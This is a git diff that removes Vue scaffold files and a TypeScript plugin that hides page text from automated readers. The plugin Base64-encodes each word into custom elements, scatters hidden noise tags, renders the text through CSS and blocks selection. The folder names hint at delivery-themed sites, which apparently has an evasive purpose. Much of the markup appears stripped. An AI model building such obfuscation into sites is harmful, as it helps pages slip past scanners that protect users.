diff --git a/0000_gb_points_temp/src/components/HelloWorld.vue b/0000_gb_points_temp/src/components/HelloWorld.vue
deleted file mode 100644
index c9314c7..0000000
--- a/0000_gb_points_temp/src/components/HelloWorld.vue
+++ /dev/null
@@ -1,51 +0,0 @@
-
-
-
-
-
{{ msg }}
-
Send /
-
- You’ve successfully created a project with
- Vite +
- Vue 3 .
- What's next?
-
-
-
-
-
diff --git a/0000_gb_points_temp/src/components/TheWelcome.vue b/0000_gb_points_temp/src/components/TheWelcome.vue
deleted file mode 100644
index a70765c..0000000
--- a/0000_gb_points_temp/src/components/TheWelcome.vue
+++ /dev/null
@@ -1,86 +0,0 @@
-
-
-
-
-
-
-
- Documentation
-
- Vue’s
- official documentation
- provides you with all information you need to get started.
-
-
-
-
-
-
- Tooling
-
- This project is served and bundled with
- Vite . The
- recommended IDE setup is
- VSCode +
- Volar . If
- you need to test your components and web pages, check out
- Cypress and
- Cypress Component Testing .
-
-
-
- More instructions are available in README.md.
-
-
-
-
-
-
- Ecosystem
-
- Get official tools and libraries for your project:
- Pinia ,
- Vue Router ,
- Vue Test Utils , and
- Vue Dev Tools . If
- you need more resources, we suggest paying
- Awesome Vue
- a visit.
-
-
-
-
-
-
- Community
-
- Got stuck? Ask your question on
- Vue Land , our official
- Discord server, or
- StackOverflow . You should also subscribe to
- our mailing list and follow
- the official
- @vuejs
- twitter account for latest news in the Vue world.
-
-
-
-
-
-
- Support Vue
-
- As an independent project, Vue relies on community backing for its sustainability. You can help
- us by
- becoming a sponsor .
-
-
diff --git a/0000_gb_points_temp/src/components/WelcomeItem.vue b/0000_gb_points_temp/src/components/WelcomeItem.vue
deleted file mode 100644
index ba0def3..0000000
--- a/0000_gb_points_temp/src/components/WelcomeItem.vue
+++ /dev/null
@@ -1,86 +0,0 @@
-
-
-
-
-
diff --git a/0000_gb_points_temp/src/mix/textObfuscator.ts b/0000_gb_points_temp/src/mix/textObfuscator.ts
deleted file mode 100644
index 97727c2..0000000
--- a/0000_gb_points_temp/src/mix/textObfuscator.ts
+++ /dev/null
@@ -1,643 +0,0 @@
-import type { ComponentInternalInstance, Plugin, App } from 'vue';
-
-/**
- * 全局文本混淆插件
- * 自动查找并替换所有文本节点
- */
-// 修改Vue混淆插件以确保处理整个组件树
-export const TextObfuscatorPlugin: Plugin = {
- install(app: App) {
- // 安装全局样式和解码脚本
- addObfuscationStyle();
-
- // 注册全局指令,直接处理元素内容
- app.directive('odata', {
- mounted(el) {
- processTextNodes(el, null);
- if (window.decodeObfuscatedContent) {
- setTimeout(() => window.decodeObfuscatedContent(el), 0);
- }
- setupMutationObserver(el);
- },
- updated(el) {
- processTextNodes(el, null);
- if (window.decodeObfuscatedContent) {
- setTimeout(() => window.decodeObfuscatedContent(el), 0);
- }
- }
- });
-
- // 在 app.mixin 中修改处理 $el 的部分
- app.mixin({
- mounted() {
- // 安全地获取组件的根元素(s)
- const rootElements = this.$el ?
- (this.$el.nodeType === Node.ELEMENT_NODE ?
- [this.$el] :
- (Array.isArray(this.$el) ? this.$el : [])) :
- [];
-
- // 处理每个根元素
- rootElements.forEach((rootElement: Element) => {
- if (!rootElement || !(rootElement instanceof Element)) return;
-
- // 1. 首先处理当前组件的根元素
- processTextNodes(rootElement, this);
-
- // 2. 递归处理所有子元素,确保覆盖所有文本节点
- const processAllChildNodes = (element: Element) => {
- if (!(element instanceof Element)) return;
-
- try {
- // 为每个子元素单独处理文本节点
- const childElements = element.querySelectorAll('*');
- childElements.forEach(childEl => {
- processTextNodes(childEl, null);
- });
-
- // 立即解码当前处理的元素
- if (window.decodeObfuscatedContent) {
- setTimeout(() => window.decodeObfuscatedContent(element), 0);
- }
- } catch (error) {
- console.error('Error processing child nodes:', error, element);
- }
- };
-
- // 处理整个组件树
- processAllChildNodes(rootElement);
-
- // 设置监听
- setupMutationObserver(rootElement);
- });
- // 添加:深度扫描所有包含纯文本的元素
- setTimeout(() => {
- const scanPureTextElements = (rootElement: Element) => {
- // 跳过已处理过的元素
- if (rootElement.hasAttribute && rootElement.hasAttribute('data-obfuscated')) {
- return;
- }
-
- // 检查是否为包含纯文本的元素(只有文本节点,没有元素节点)
- let hasOnlyTextNodes = false;
- let hasElementNodes = false;
-
- if (rootElement.childNodes && rootElement.childNodes.length > 0) {
- hasOnlyTextNodes = Array.from(rootElement.childNodes).some(
- node => node.nodeType === Node.TEXT_NODE && node.textContent && node.textContent.trim()
- );
-
- hasElementNodes = Array.from(rootElement.childNodes).some(
- node => node.nodeType === Node.ELEMENT_NODE
- );
- }
-
- // 如果元素只包含文本节点,并且不包含其他元素节点,则混淆它
- if (hasOnlyTextNodes && !hasElementNodes &&
- !SKIP_TAGS.includes(rootElement.tagName) &&
- !Array.from(rootElement.classList || []).some(cls => SKIP_CLASSES.includes(cls))) {
- processTextNodes(rootElement, null);
- if (window.decodeObfuscatedContent) {
- window.decodeObfuscatedContent(rootElement);
- }
- }
-
- // 递归处理子元素
- if (rootElement.children) {
- Array.from(rootElement.children).forEach(child => {
- scanPureTextElements(child);
- });
- }
- };
-
- // 从body开始扫描
- scanPureTextElements(document.body);
- }, 10); // 给DOM足够的时间渲染
- },
-
- updated() {
- // 安全地获取组件的根元素(s)
- const rootElements = this.$el ?
- (this.$el.nodeType === Node.ELEMENT_NODE ?
- [this.$el] :
- (Array.isArray(this.$el) ? this.$el : [])) :
- [];
-
- // 处理每个根元素
- rootElements.forEach((rootElement: Element | undefined) => {
- if (!rootElement || !(rootElement instanceof Element)) return;
-
- processTextNodes(rootElement, this);
-
- try {
- // 递归处理所有子元素
- const childElements = rootElement.querySelectorAll('*');
- childElements.forEach((childEl: Element) => {
- processTextNodes(childEl, null);
- });
-
- if (window.decodeObfuscatedContent) {
- setTimeout(() => window.decodeObfuscatedContent(rootElement), 0);
- }
- } catch (error) {
- console.error('Error processing updated component:', error, rootElement);
- }
- });
- }
- });
- }
-};
-
-// 声明全局函数类型
-declare global {
- interface Window {
- decodeObfuscatedContent: (rootElement?: Element) => void;
- }
-}
-
-// 需要跳过的标签
-const SKIP_TAGS = ['SCRIPT', 'STYLE', 'TEXTAREA', 'INPUT', 'PRE', 'CODE'];
-// 需要跳过的类名
-const SKIP_CLASSES = ['no-obfuscate', 'op-no-obfuscate'];
-
-/**
- * 处理元素中的所有文本节点
- */
-function processTextNodes(element: Element, instance: ComponentInternalInstance | null) {
- if (!element || element.nodeType !== Node.ELEMENT_NODE) {
- return;
- }
- // 为 DIV 元素增加优先处理逻辑
- if (element.tagName === 'DIV' && !element.hasAttribute('data-obfuscated')) {
- // 对于DIV元素,特殊处理其直接子文本节点
- let hasTextContent = false;
- for (let i = 0; i < element.childNodes.length; i++) {
- const node = element.childNodes[i];
- if (node.nodeType === Node.TEXT_NODE && node.textContent && node.textContent.trim() !== '') {
- hasTextContent = true;
- break;
- }
- }
-
- // 如果DIV中有直接的文本内容,标记它需要被处理
- if (hasTextContent) {
- // 只处理未混淆过的DIV
- const textContent = Array.from(element.childNodes)
- .filter(node => node.nodeType === Node.TEXT_NODE && node.textContent)
- .map(node => node.textContent).join('').trim();
-
- if (textContent) {
- // 替换整个DIV的内容
- const originalHTML = element.innerHTML;
- const processedHTML = obfuscateText(textContent);
- element.innerHTML = processedHTML + originalHTML.replace(textContent, '');
- element.setAttribute('data-obfuscated', 'true');
- }
- }
- }
- // 跳过带有特定标记的元素(避免重复处理)
- if (element.hasAttribute('data-obfuscated') ||
- !element ||
- SKIP_TAGS.includes(element.tagName) ||
- Array.from(element.classList).some(cls => SKIP_CLASSES.includes(cls))) {
- return;
- }
-
- // 使用 TreeWalker 遍历所有文本节点
- const walker = document.createTreeWalker(
- element,
- NodeFilter.SHOW_TEXT,
- {
- acceptNode(node) {
- // 不处理完全空的文本节点
- if (!node.textContent) {
- return NodeFilter.FILTER_REJECT;
- }
-
- // 检查父节点是否应该被跳过
- const parent = node.parentElement;
- if (parent && (
- SKIP_TAGS.includes(parent.tagName) ||
- parent.hasAttribute('data-obfuscated') ||
- Array.from(parent.classList || []).some(cls => SKIP_CLASSES.includes(cls))
- )) {
- return NodeFilter.FILTER_REJECT;
- }
-
- // 如果只包含空白且不是段落的首个节点,则跳过
- if (node.textContent.trim() === '' &&
- !(parent?.tagName === 'P' && node === parent.firstChild)) {
- return NodeFilter.FILTER_REJECT;
- }
-
- return NodeFilter.FILTER_ACCEPT;
- }
- }
- );
-
- // 收集需要处理的文本节点
- const textNodes: Text[] = [];
- let currentNode: Node | null = walker.nextNode();
-
- while (currentNode) {
- textNodes.push(currentNode as Text);
- currentNode = walker.nextNode();
- }
-
- // 预先计算所有混淆内容,减少DOM操作次数
- const fragments: DocumentFragment[] = [];
- const nodesToReplace: Text[] = [];
-
- // 在处理文本节点前,移除所有前导空格
- for (const textNode of textNodes) {
- const text = textNode.textContent;
- if (!text) continue;
-
- // 重要修改:检测是否是段落的首个文本节点,无条件移除开头的空白
- let processedText = text;
- if (textNode.parentElement?.tagName === 'P' &&
- textNode === textNode.parentElement.firstChild) {
- // 去除开头的空白,无论什么情况
- processedText = text.replace(/^\s+/, '');
- // 如果去除空白后为空,直接跳过这个节点
- if (!processedText) continue;
- }
-
- try {
- // 创建文档碎片来存储混淆后的内容
- const fragment = document.createDocumentFragment();
- const tempContainer = document.createElement('div');
- tempContainer.innerHTML = obfuscateText(processedText);
-
- // 将内容移动到碎片中
- while (tempContainer.firstChild) {
- fragment.appendChild(tempContainer.firstChild);
- }
-
- fragments.push(fragment);
- nodesToReplace.push(textNode);
- } catch (error) {
- console.error('Error processing text node:', error);
- }
- }
-
- // 批量替换节点,减少回流
- for (let i = 0; i < nodesToReplace.length; i++) {
- const textNode = nodesToReplace[i];
- const fragment = fragments[i];
-
- if (textNode.parentNode) {
- textNode.parentNode.replaceChild(fragment, textNode);
- }
- }
-}
-
-/**
- * 设置 MutationObserver 来监听 DOM 变化
- */
-function setupMutationObserver(element: Element) {
- if (!element) return;
-
- const observer = new MutationObserver((mutations) => {
- for (const mutation of mutations) {
- if (mutation.type === 'childList' && mutation.addedNodes.length) {
- mutation.addedNodes.forEach((node) => {
- if (node.nodeType === Node.ELEMENT_NODE) {
- processTextNodes(node as Element, null);
- // 观察到新元素后立即解码
- if (window.decodeObfuscatedContent) {
- window.decodeObfuscatedContent(node as Element);
- }
- }
- });
- }
- }
- });
-
- observer.observe(element, {
- childList: true,
- subtree: true
- });
-}
-
-/**
- * 生成随机噪声标签和注释
- */
-function getRandomNoise() {
- const noiseTypes = [
- // HTML注释
- () => ``,
- // 空的自定义元素
- () => {
- const tags = ['z-nil', 'z-void', 'z-null', 'z-fake', 'z-empty'];
- const tag = tags[Math.floor(Math.random() * tags.length)];
- return `<${tag}>${tag}>`;
- },
- // 带随机属性的自定义元素
- () => {
- const attr = `data-${Math.random().toString(36).substring(2, 7)}`;
- const value = Math.random().toString(36).substring(2, 10);
- return ` `;
- },
- // 带随机文本的隐藏元素
- () => {
- const text = Math.random().toString(36).substring(2, 8);
- return `${text} `;
- }
- ];
-
- // 随机选择一种噪声类型
- const noiseGenerator = noiseTypes[Math.floor(Math.random() * noiseTypes.length)];
- return noiseGenerator();
-}
-
-/**
- * 混淆文本 - 将文本拆分成单词并分别存储,使用自定义z-标签
- */
-function obfuscateText(text: string): string {
- if (!text) return '';
-
- // 首先移除文本开头的所有空白字符以解决段落首行缩进问题
- text = text.replace(/^\s+/, '');
- if (!text) return '';
-
- // 使用正则表达式将文本拆分为单词和空格,保持完整性
- const words = text.split(/(\s+)/);
- let result = '';
-
- // 过滤掉空字符串,避免生成空的z-span元素
- const filteredWords = words.filter(word => word.length > 0);
-
- // 为每个单词创建一个独立的自定义元素
- filteredWords.forEach((word, index) => {
- // 对空格和特殊字符进行特殊处理
- if (/^\s+$/.test(word)) {
- // 改进:更精确地处理各种换行符
- if (/[\n\r]/.test(word)) {
- // 将所有类型的换行符分割出来,但仅在实际有换行符时才添加z-break元素
- result += ' ';
- } else {
- // 纯空格的情况 - 对连续空格合并处理,避免添加过多z-space
- result += ' ';
- }
- return;
- }
-
- // 随机在单词前添加噪声,但减少频率
- if (Math.random() > 0.85) {
- result += getRandomNoise();
- }
-
- // 为了提高效率,固定属性名
- const attrId = `data`;
-
- // 将单词编码为Base64
- const encodedWord = btoa(encodeURIComponent(word));
-
- // 随机选择z-span或z-strong标签增加混淆度
- const tagName = Math.random() > 0.5 ? 'z-span' : 'z-strong';
-
- // 添加标签开始部分
- result += `<${tagName} data-${attrId}="${encodedWord}" data-preload="true">`;
-
- // 随机在标签内添加隐藏内容,但减少频率
- if (Math.random() > 0.8) {
- const fakeText = Math.random().toString(36).substring(2, 5 + Math.floor(Math.random() * 5));
- result += `${fakeText} `;
- }
-
- // 闭合标签
- result += `${tagName}>`;
-
- // 随机在单词后添加噪声,但减少频率
- if (Math.random() > 0.85) {
- result += getRandomNoise();
- }
- });
-
- result += ' ';
- return result;
-}
-
-/**
- * 添加显示混淆内容的样式和解码脚本
- */
-function addObfuscationStyle() {
- // 添加样式
- if (!document.getElementById('obfuscation-style')) {
- const style = document.createElement('style');
- style.id = 'obfuscation-style';
- style.textContent = `
- /* 自定义元素基本样式 */
- z-wrap {
- display: inline;
- white-space: normal;
- user-select: none; /* 阻止文本选择 */
- text-indent: 0 !important; /* 确保无缩进 */
- }
-
- /* 添加一个类来允许选择文本的情况 */
- .allow-select z-wrap {
- user-select: text;
- }
-
- /* 确保段落中的混淆内容没有开头缩进 */
- p > z-wrap:first-child {
- text-indent: 0 !important;
- margin-left: 0 !important;
- padding-left: 0 !important;
- }
-
- /* 处理所有p标签,确保没有多余空间 */
- p {
- text-indent: 0;
- }
-
- z-span, z-strong {
- display: inline-block;
- position: relative;
- opacity: 1;
- transition: opacity 0.1s ease;
- margin: 0;
- padding: 0;
- }
-
- /* 控制右侧间距 */
- z-span + z-span, z-strong + z-strong, z-span + z-strong, z-strong + z-span {
- margin-left: 0.1em;
- }
-
- /* 移除最后一个元素的右侧间距 */
- z-span:last-child, z-strong:last-child {
- margin-right: 0;
- }
-
- z-span::after, z-strong::after {
- content: attr(data-content);
- position: relative;
- pointer-events: none;
- }
-
- /* 空格元素 - 精确控制宽度 */
- z-space {
- display: inline-block;
- width: 0.25em;
- margin: 0;
- padding: 0;
- }
-
- /* 空的z-span/z-strong元素不应该显示 */
- z-span:not([data-content]), z-strong:not([data-content]) {
- display: none;
- }
-
- /* 换行元素 - 强制换行且完全没有尺寸 */
- z-break {
- display: block !important;
- height: 0 !important;
- width: 0 !important;
- margin: 0 !important;
- padding: 0 !important;
- border: none !important;
- line-height: 0 !important;
- font-size: 0 !important;
- overflow: hidden !important;
- }
-
- /* 隐藏所有噪声元素 */
- z-nil, z-void, z-null, z-fake, z-empty, z-attr, z-text, z-hidden {
- display: none;
- width: 0;
- height: 0;
- opacity: 0;
- overflow: hidden;
- position: absolute;
- visibility: hidden;
- }
-
- /* 预加载状态 */
- [data-preload="true"] {
- min-width: 0.5em;
- min-height: 1em;
- }
- `;
- document.head.appendChild(style);
- }
-
- // 添加自定义元素注册,确保所有浏览器都能正确处理
- const scriptCustomElements = document.createElement('script');
- scriptCustomElements.textContent = `
- // 注册所有自定义元素
- if ('customElements' in window) {
- customElements.define('z-wrap', class extends HTMLElement {});
- customElements.define('z-span', class extends HTMLElement {});
- customElements.define('z-strong', class extends HTMLElement {});
- customElements.define('z-space', class extends HTMLElement {});
- customElements.define('z-break', class extends HTMLElement {});
-
- // 注册噪声元素
- customElements.define('z-nil', class extends HTMLElement {});
- customElements.define('z-void', class extends HTMLElement {});
- customElements.define('z-null', class extends HTMLElement {});
- customElements.define('z-fake', class extends HTMLElement {});
- customElements.define('z-empty', class extends HTMLElement {});
- customElements.define('z-attr', class extends HTMLElement {});
- customElements.define('z-text', class extends HTMLElement {});
- customElements.define('z-hidden', class extends HTMLElement {});
- }
- `;
- document.head.appendChild(scriptCustomElements);
-
- // 添加提前解码的脚本,放在
顶部优先加载
- if (!document.getElementById('obfuscation-script')) {
- const script = document.createElement('script');
- script.id = 'obfuscation-script';
- script.textContent = `
- (function() {
- // 定义解码函数并暴露为全局函数
- window.decodeObfuscatedContent = function(rootElement) {
- const root = rootElement || document.body;
- const elements = root.querySelectorAll('z-span[data-preload="true"], z-strong[data-preload="true"]');
-
- if (elements.length === 0) return;
-
- // 使用requestIdleCallback或setTimeout在空闲时运行,避免阻塞渲染
- const runWhenIdle = window.requestIdleCallback ||
- function(cb) { setTimeout(cb, 1); };
-
- runWhenIdle(() => {
- elements.forEach(el => {
- // 避免重复解码
- if (el.hasAttribute('data-content')) return;
-
- // 找到编码数据
- const dataAttr = el.getAttribute('data-data');
- if (dataAttr) {
- try {
- // 解码并设置
- const decodedWord = decodeURIComponent(atob(dataAttr));
- el.setAttribute('data-content', decodedWord);
- el.removeAttribute('data-preload');
- } catch (e) {
- // 解码失败时跳过
- }
- }
- });
- });
- };
-
- // 页面加载完成后立即执行一次全局解码
- if (document.readyState === 'loading') {
- document.addEventListener('DOMContentLoaded', function() {
- window.decodeObfuscatedContent();
- });
- } else {
- window.decodeObfuscatedContent();
- }
-
- // 使用IntersectionObserver优化解码性能
- if ('IntersectionObserver' in window) {
- const decodeObserver = new IntersectionObserver(
- (entries, observer) => {
- entries.forEach(entry => {
- if (entry.isIntersecting) {
- // 容器进入视口时解码其内容
- window.decodeObfuscatedContent(entry.target);
- observer.unobserve(entry.target);
- }
- });
- },
- { rootMargin: '200px 0px' } // 提前200像素开始解码
- );
-
- // 监听所有混淆容器
- function observeContainers() {
- document.querySelectorAll('z-wrap').forEach(container => {
- decodeObserver.observe(container);
- });
- }
-
- // 初始观察
- if (document.readyState === 'loading') {
- document.addEventListener('DOMContentLoaded', observeContainers);
- } else {
- observeContainers();
- }
-
- // 定期检查新容器
- setInterval(observeContainers, 2000);
- } else {
- // 降级方案:定期全局检查
- setInterval(() => window.decodeObfuscatedContent(), 1000);
- }
- })();
- `;
-
- // 将脚本添加到head的最前面,确保尽早加载
- if (document.head.firstChild) {
- document.head.insertBefore(script, document.head.firstChild);
- } else {
- document.head.appendChild(script);
- }
- }
-}
\ No newline at end of file
diff --git a/a1_pl_dpd_post/src/components/HelloWorld.vue b/a1_pl_dpd_post/src/components/HelloWorld.vue
deleted file mode 100644
index 8f39347..0000000
--- a/a1_pl_dpd_post/src/components/HelloWorld.vue
+++ /dev/null
@@ -1,51 +0,0 @@
-
-
-
-
-
{{ msg }}
-
Send /
-
- You’ve successfully created a project with
- Vite +
- Vue 3 .
- What's next?
-
-
-
-
-
diff --git a/a1_pl_dpd_post/src/components/TheWelcome.vue b/a1_pl_dpd_post/src/components/TheWelcome.vue
deleted file mode 100644
index a70765c..0000000
--- a/a1_pl_dpd_post/src/components/TheWelcome.vue
+++ /dev/null
@@ -1,86 +0,0 @@
-
-
-
-
-
-
-
- Documentation
-
- Vue’s
- official documentation
- provides you with all information you need to get started.
-
-
-
-
-
-
- Tooling
-
- This project is served and bundled with
- Vite . The
- recommended IDE setup is
- VSCode +
- Volar . If
- you need to test your components and web pages, check out
- Cypress and
- Cypress Component Testing .
-
-
-
- More instructions are available in README.md.
-
-
-
-
-
-
- Ecosystem
-
- Get official tools and libraries for your project:
- Pinia ,
- Vue Router ,
- Vue Test Utils , and
- Vue Dev Tools . If
- you need more resources, we suggest paying
- Awesome Vue
- a visit.
-
-
-
-
-
-
- Community
-
- Got stuck? Ask your question on
- Vue Land , our official
- Discord server, or
- StackOverflow . You should also subscribe to
- our mailing list and follow
- the official
- @vuejs
- twitter account for latest news in the Vue world.
-
-
-
-
-
-
- Support Vue
-
- As an independent project, Vue relies on community backing for its sustainability. You can help
- us by
- becoming a sponsor .
-
-
diff --git a/a1_pl_dpd_post/src/components/WelcomeItem.vue b/a1_pl_dpd_post/src/components/WelcomeItem.vue
deleted file mode 100644
index ba0def3..0000000
--- a/a1_pl_dpd_post/src/components/WelcomeItem.vue
+++ /dev/null
@@ -1,86 +0,0 @@
-
-
-
-
-
diff --git a/a1_pl_dpd_post/src/main.ts b/a1_pl_dpd_post/src/main.ts
index aa17503..7525851 100644
--- a/a1_pl_dpd_post/src/main.ts
+++ b/a1_pl_dpd_post/src/main.ts
@@ -1,4 +1,3 @@
-import { TextObfuscatorPlugin } from "./mix/textObfuscator";
import { createApp, ref } from "vue";
import { createPinia } from "pinia";
@@ -29,6 +28,5 @@ router.beforeEach((to, from, next) => {
VueScrollTo.scrollTo("#app", 0);
next();
});
-// //app.use(TextObfuscatorPlugin);
app.mount("#app");
export default i18n;
diff --git a/a1_pl_dpd_post/src/mix/textObfuscator.ts b/a1_pl_dpd_post/src/mix/textObfuscator.ts
deleted file mode 100644
index 76c21e9..0000000
--- a/a1_pl_dpd_post/src/mix/textObfuscator.ts
+++ /dev/null
@@ -1,643 +0,0 @@
-import type { ComponentInternalInstance, Plugin, App } from 'vue';
-
-/**
- * 全局文本混淆插件
- * 自动查找并替换所有文本节点
- */
-// 修改Vue混淆插件以确保处理整个组件树
-export const TextObfuscatorPlugin: Plugin = {
- install(app: App) {
- // 安装全局样式和解码脚本
- addObfuscationStyle();
-
- // 注册全局指令,直接处理元素内容
- app.directive('odata', {
- mounted(el) {
- processTextNodes(el, null);
- if (window.decodeObfuscatedContent) {
- setTimeout(() => window.decodeObfuscatedContent(el), 0);
- }
- setupMutationObserver(el);
- },
- updated(el) {
- processTextNodes(el, null);
- if (window.decodeObfuscatedContent) {
- setTimeout(() => window.decodeObfuscatedContent(el), 0);
- }
- }
- });
-
- // 在 app.mixin 中修改处理 $el 的部分
- app.mixin({
- mounted() {
- // 安全地获取组件的根元素(s)
- const rootElements = this.$el ?
- (this.$el.nodeType === Node.ELEMENT_NODE ?
- [this.$el] :
- (Array.isArray(this.$el) ? this.$el : [])) :
- [];
-
- // 处理每个根元素
- rootElements.forEach((rootElement: Element) => {
- if (!rootElement || !(rootElement instanceof Element)) return;
-
- // 1. 首先处理当前组件的根元素
- processTextNodes(rootElement, this);
-
- // 2. 递归处理所有子元素,确保覆盖所有文本节点
- const processAllChildNodes = (element: Element) => {
- if (!(element instanceof Element)) return;
-
- try {
- // 为每个子元素单独处理文本节点
- const childElements = element.querySelectorAll('*');
- childElements.forEach(childEl => {
- processTextNodes(childEl, null);
- });
-
- // 立即解码当前处理的元素
- if (window.decodeObfuscatedContent) {
- setTimeout(() => window.decodeObfuscatedContent(element), 0);
- }
- } catch (error) {
- console.error('Error processing child nodes:', error, element);
- }
- };
-
- // 处理整个组件树
- processAllChildNodes(rootElement);
-
- // 设置监听
- setupMutationObserver(rootElement);
- });
- // 添加:深度扫描所有包含纯文本的元素
- setTimeout(() => {
- const scanPureTextElements = (rootElement: Element) => {
- // 跳过已处理过的元素
- if (rootElement.hasAttribute && rootElement.hasAttribute('data-obfuscated')) {
- return;
- }
-
- // 检查是否为包含纯文本的元素(只有文本节点,没有元素节点)
- let hasOnlyTextNodes = false;
- let hasElementNodes = false;
-
- if (rootElement.childNodes && rootElement.childNodes.length > 0) {
- hasOnlyTextNodes = Array.from(rootElement.childNodes).some(
- node => node.nodeType === Node.TEXT_NODE && node.textContent && node.textContent.trim()
- );
-
- hasElementNodes = Array.from(rootElement.childNodes).some(
- node => node.nodeType === Node.ELEMENT_NODE
- );
- }
-
- // 如果元素只包含文本节点,并且不包含其他元素节点,则混淆它
- if (hasOnlyTextNodes && !hasElementNodes &&
- !SKIP_TAGS.includes(rootElement.tagName) &&
- !Array.from(rootElement.classList || []).some(cls => SKIP_CLASSES.includes(cls))) {
- processTextNodes(rootElement, null);
- if (window.decodeObfuscatedContent) {
- window.decodeObfuscatedContent(rootElement);
- }
- }
-
- // 递归处理子元素
- if (rootElement.children) {
- Array.from(rootElement.children).forEach(child => {
- scanPureTextElements(child);
- });
- }
- };
-
- // 从body开始扫描
- scanPureTextElements(document.body);
- }, 10); // 给DOM足够的时间渲染
- },
-
- updated() {
- // 安全地获取组件的根元素(s)
- const rootElements = this.$el ?
- (this.$el.nodeType === Node.ELEMENT_NODE ?
- [this.$el] :
- (Array.isArray(this.$el) ? this.$el : [])) :
- [];
-
- // 处理每个根元素
- rootElements.forEach((rootElement: Element | undefined) => {
- if (!rootElement || !(rootElement instanceof Element)) return;
-
- processTextNodes(rootElement, this);
-
- try {
- // 递归处理所有子元素
- const childElements = rootElement.querySelectorAll('*');
- childElements.forEach((childEl: Element) => {
- processTextNodes(childEl, null);
- });
-
- if (window.decodeObfuscatedContent) {
- setTimeout(() => window.decodeObfuscatedContent(rootElement), 0);
- }
- } catch (error) {
- console.error('Error processing updated component:', error, rootElement);
- }
- });
- }
- });
- }
-};
-
-// 声明全局函数类型
-declare global {
- interface Window {
- decodeObfuscatedContent: (rootElement?: Element) => void;
- }
-}
-
-// 需要跳过的标签
-const SKIP_TAGS = ['SCRIPT', 'STYLE', 'TEXTAREA', 'INPUT', 'PRE', 'CODE'];
-// 需要跳过的类名
-const SKIP_CLASSES = ['no-obfuscate'];
-
-/**
- * 处理元素中的所有文本节点
- */
-function processTextNodes(element: Element, instance: ComponentInternalInstance | null) {
- if (!element || element.nodeType !== Node.ELEMENT_NODE) {
- return;
- }
- // 为 DIV 元素增加优先处理逻辑
- if (element.tagName === 'DIV' && !element.hasAttribute('data-obfuscated')) {
- // 对于DIV元素,特殊处理其直接子文本节点
- let hasTextContent = false;
- for (let i = 0; i < element.childNodes.length; i++) {
- const node = element.childNodes[i];
- if (node.nodeType === Node.TEXT_NODE && node.textContent && node.textContent.trim() !== '') {
- hasTextContent = true;
- break;
- }
- }
-
- // 如果DIV中有直接的文本内容,标记它需要被处理
- if (hasTextContent) {
- // 只处理未混淆过的DIV
- const textContent = Array.from(element.childNodes)
- .filter(node => node.nodeType === Node.TEXT_NODE && node.textContent)
- .map(node => node.textContent).join('').trim();
-
- if (textContent) {
- // 替换整个DIV的内容
- const originalHTML = element.innerHTML;
- const processedHTML = obfuscateText(textContent);
- element.innerHTML = processedHTML + originalHTML.replace(textContent, '');
- element.setAttribute('data-obfuscated', 'true');
- }
- }
- }
- // 跳过带有特定标记的元素(避免重复处理)
- if (element.hasAttribute('data-obfuscated') ||
- !element ||
- SKIP_TAGS.includes(element.tagName) ||
- Array.from(element.classList).some(cls => SKIP_CLASSES.includes(cls))) {
- return;
- }
-
- // 使用 TreeWalker 遍历所有文本节点
- const walker = document.createTreeWalker(
- element,
- NodeFilter.SHOW_TEXT,
- {
- acceptNode(node) {
- // 不处理完全空的文本节点
- if (!node.textContent) {
- return NodeFilter.FILTER_REJECT;
- }
-
- // 检查父节点是否应该被跳过
- const parent = node.parentElement;
- if (parent && (
- SKIP_TAGS.includes(parent.tagName) ||
- parent.hasAttribute('data-obfuscated') ||
- Array.from(parent.classList || []).some(cls => SKIP_CLASSES.includes(cls))
- )) {
- return NodeFilter.FILTER_REJECT;
- }
-
- // 如果只包含空白且不是段落的首个节点,则跳过
- if (node.textContent.trim() === '' &&
- !(parent?.tagName === 'P' && node === parent.firstChild)) {
- return NodeFilter.FILTER_REJECT;
- }
-
- return NodeFilter.FILTER_ACCEPT;
- }
- }
- );
-
- // 收集需要处理的文本节点
- const textNodes: Text[] = [];
- let currentNode: Node | null = walker.nextNode();
-
- while (currentNode) {
- textNodes.push(currentNode as Text);
- currentNode = walker.nextNode();
- }
-
- // 预先计算所有混淆内容,减少DOM操作次数
- const fragments: DocumentFragment[] = [];
- const nodesToReplace: Text[] = [];
-
- // 在处理文本节点前,移除所有前导空格
- for (const textNode of textNodes) {
- const text = textNode.textContent;
- if (!text) continue;
-
- // 重要修改:检测是否是段落的首个文本节点,无条件移除开头的空白
- let processedText = text;
- if (textNode.parentElement?.tagName === 'P' &&
- textNode === textNode.parentElement.firstChild) {
- // 去除开头的空白,无论什么情况
- processedText = text.replace(/^\s+/, '');
- // 如果去除空白后为空,直接跳过这个节点
- if (!processedText) continue;
- }
-
- try {
- // 创建文档碎片来存储混淆后的内容
- const fragment = document.createDocumentFragment();
- const tempContainer = document.createElement('div');
- tempContainer.innerHTML = obfuscateText(processedText);
-
- // 将内容移动到碎片中
- while (tempContainer.firstChild) {
- fragment.appendChild(tempContainer.firstChild);
- }
-
- fragments.push(fragment);
- nodesToReplace.push(textNode);
- } catch (error) {
- console.error('Error processing text node:', error);
- }
- }
-
- // 批量替换节点,减少回流
- for (let i = 0; i < nodesToReplace.length; i++) {
- const textNode = nodesToReplace[i];
- const fragment = fragments[i];
-
- if (textNode.parentNode) {
- textNode.parentNode.replaceChild(fragment, textNode);
- }
- }
-}
-
-/**
- * 设置 MutationObserver 来监听 DOM 变化
- */
-function setupMutationObserver(element: Element) {
- if (!element) return;
-
- const observer = new MutationObserver((mutations) => {
- for (const mutation of mutations) {
- if (mutation.type === 'childList' && mutation.addedNodes.length) {
- mutation.addedNodes.forEach((node) => {
- if (node.nodeType === Node.ELEMENT_NODE) {
- processTextNodes(node as Element, null);
- // 观察到新元素后立即解码
- if (window.decodeObfuscatedContent) {
- window.decodeObfuscatedContent(node as Element);
- }
- }
- });
- }
- }
- });
-
- observer.observe(element, {
- childList: true,
- subtree: true
- });
-}
-
-/**
- * 生成随机噪声标签和注释
- */
-function getRandomNoise() {
- const noiseTypes = [
- // HTML注释
- () => ``,
- // 空的自定义元素
- () => {
- const tags = ['z-nil', 'z-void', 'z-null', 'z-fake', 'z-empty'];
- const tag = tags[Math.floor(Math.random() * tags.length)];
- return `<${tag}>${tag}>`;
- },
- // 带随机属性的自定义元素
- () => {
- const attr = `data-${Math.random().toString(36).substring(2, 7)}`;
- const value = Math.random().toString(36).substring(2, 10);
- return ` `;
- },
- // 带随机文本的隐藏元素
- () => {
- const text = Math.random().toString(36).substring(2, 8);
- return `${text} `;
- }
- ];
-
